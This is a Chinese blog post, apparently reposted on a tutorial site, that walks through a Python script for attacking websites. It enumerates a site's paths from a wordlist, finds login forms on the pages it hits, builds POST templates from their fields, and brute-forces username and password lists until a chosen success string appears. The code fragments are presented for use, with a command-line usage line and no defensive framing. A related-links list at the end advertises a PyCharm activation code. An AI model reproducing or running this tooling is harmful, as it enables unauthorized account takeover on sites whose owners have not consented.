python遍历路径破解表单的示例


Posted in Python onNovember 21, 2020

首先是利用python遍历路径,采用字典爆破的形式,当然如果只是单纯的爆破路径,简单写一个多线程脚本就行了。这里考虑如何对爆破到的路径进行第二步利用,此处尝试对猜解到的路径进行表单发现及登陆爆破处理。

​首先就是路径爆破,采用多线程队列,爆破路径,判断形式为200响应码。

while not self._queue.empty():
      queue = self._queue.get(timeout=0.5)
      try:
        r = requests.get(self.url+queue,timeout=5, headers=self.headers)
        if r.status_code == 200:
          print "[200] %s" %(queue)
          soup = BeautifulSoup(r.content,'html.parser')
          if soup.find('form'):
            self.brute(soup, queue)

猜解到路径后交给brute方法处理,方法实现了一个css选择器,获取form表单中的input字段标签,提取标签参数组合成post参数值,然后提取表单中的action跳转页面,如没有页面默认在当前表单页提交。

input = soup.select("form input")
      for i in input:
        try:
          if i.attrs['type'] == "hidden":
            name, value = i.attrs['name'], i.attrs['value']
            list_post.append(name+'='+value)
          elif i.attrs['type'] == 'password':
            name = i.attrs['name']
            list_post.append(name+'=$$$')
          else:
            name = i.attrs['name']
            list_post.append(name+'=%%%')
        except:
          continue
      for i in list_post:
        post = post + i + '&'
      action = soup.find_all('form')
      for i in action:
        if i['action']:
          actiontag = i['action']
        else:
          actiontag = queue
      self.payload(post, actiontag)

获取参数值后,交给payload方法处理登陆,采用requests库的session登陆。获取cookie,先采用session请求获取cookie后,再采用session携带cookie进行请求提交。然后对输入的验证值进行判断是否为登陆成功。

for name in self.username():
      post_user = post.replace('%%%',name.strip())
      for pwd in self.password():
        post_pwd = post_user.replace('$$$',pwd.strip())
        session = requests.Session()
        session.get(self.url+'/'+action, headers=self.headers, verify=False)
        r = session.post(self.url+'/'+action, data=post_pwd, headers=self.headers, verify=False)
        if self.word in r.content:
          print '[username] %s' %name +'\r' + '[password] %s' %pwd
          return

为了判断是否登陆成功,采用的人为输入判断字符串的形式。也就是脚本执行形式为

python xxx.py http://xxxx.com xxxxx

以上就是python遍历路径破解表单的示例的详细内容,更多关于python 破解表单的资料请关注三水点靠木其它相关文章!

Python 相关文章推荐
初步讲解Python中的元组概念
May 21 Python
python编程开发之日期操作实例分析
Nov 13 Python
在windows系统中实现python3安装lxml
Mar 23 Python
python3音乐播放器简单实现代码
Apr 20 Python
Python中异常重试的解决方案详解
May 05 Python
python删除文本中行数标签的方法
May 31 Python
Python实现基于SVM的分类器的方法
Jul 19 Python
Python3 Tkinkter + SQLite实现登录和注册界面
Nov 19 Python
python读取mysql数据绘制条形图
Mar 25 Python
Python xlrd模块导入过程及常用操作
Jun 10 Python
利用PyQt5+Matplotlib 绘制静态/动态图的实现代码
Jul 13 Python
PyTorch中的拷贝与就地操作详解
Dec 09 Python
Python如何批量生成和调用变量
Nov 21 #Python
在终端启动Python时报错的解决方案
Nov 20 #Python
python 批量下载bilibili视频的gui程序
Nov 20 #Python
Python ellipsis 的用法详解
Nov 20 #Python
python 动态渲染 mysql 配置文件的示例
Nov 20 #Python
Python paramiko使用方法代码汇总
Nov 20 #Python
分享一枚pycharm激活码适用所有pycharm版本我的pycharm2020.2.3激活成功
Nov 20 #Python
You might like
全国FM电台频率大全 - 31 新疆维吾尔族自治区
2020/03/11 无线电
PHP手机号码归属地查询代码(API接口/mysql)
2012/09/04 PHP
基于PHP CURL用法的深入分析
2013/06/09 PHP
基于PHP输出缓存(output_buffering)的深入理解
2013/06/13 PHP
浅析PHP关键词替换的类(避免重复替换,保留与还原原始链接)
2015/09/22 PHP
php实现统计二进制中1的个数算法示例
2018/01/23 PHP
PHP实现从PostgreSQL数据库检索数据分页显示及根据条件查找数据示例
2018/06/09 PHP
PHP接入支付宝接口失效流程详解
2020/11/10 PHP
json 实例详细说明教程
2009/10/31 Javascript
再探JavaScript作用域
2014/09/24 Javascript
基于JavaScript实现文字超出部分隐藏
2016/02/29 Javascript
JavaScript省市区三级联动菜单效果
2016/09/21 Javascript
jQuery实现表格与ckeckbox的全选与单选功能
2016/11/24 Javascript
纯原生js实现table表格的增删
2017/01/05 Javascript
BootStrap与Select2使用小结
2017/02/17 Javascript
微信小程序 使用腾讯地图SDK详解及实现步骤
2017/02/28 Javascript
详解在Vue中如何使用axios跨域访问数据
2017/07/07 Javascript
vue-router懒加载速度缓慢问题及解决方法
2018/11/25 Javascript
微信小程序学习笔记之登录API与获取用户信息操作图文详解
2019/03/29 Javascript
Vue 组件修改根实例的数据的方法
2019/04/02 Javascript
解决layui table表单提示数据接口请求异常的问题
2019/09/24 Javascript
Vue实现push数组并删除的例子
2019/11/01 Javascript
vue print.js打印支持Echarts图表操作
2020/11/13 Javascript
原生js实现自定义消息提示框
2020/11/19 Javascript
Python制作简易注册登录系统
2016/12/15 Python
对python的bytes类型数据split分割切片方法
2018/12/04 Python
python下的opencv画矩形和文字注释的实现方法
2019/07/09 Python
Python 用matplotlib画以时间日期为x轴的图像
2019/08/06 Python
详解Python 重学requests发起请求的基本方式
2020/02/07 Python
Servlet面试题库
2015/07/18 面试题
大学旷课检讨书
2014/01/28 职场文书
学习雷锋倡议书
2014/04/15 职场文书
趣味运动会广播稿
2015/08/19 职场文书
Java方法重载和方法重写的区别到底在哪?
2021/06/11 Java/Android
Win11电脑显示本地时间与服务器时间不一致怎么解决?
2022/04/05 数码科技
vue数据字典取键值项目的字典问题
2022/04/12 Vue.js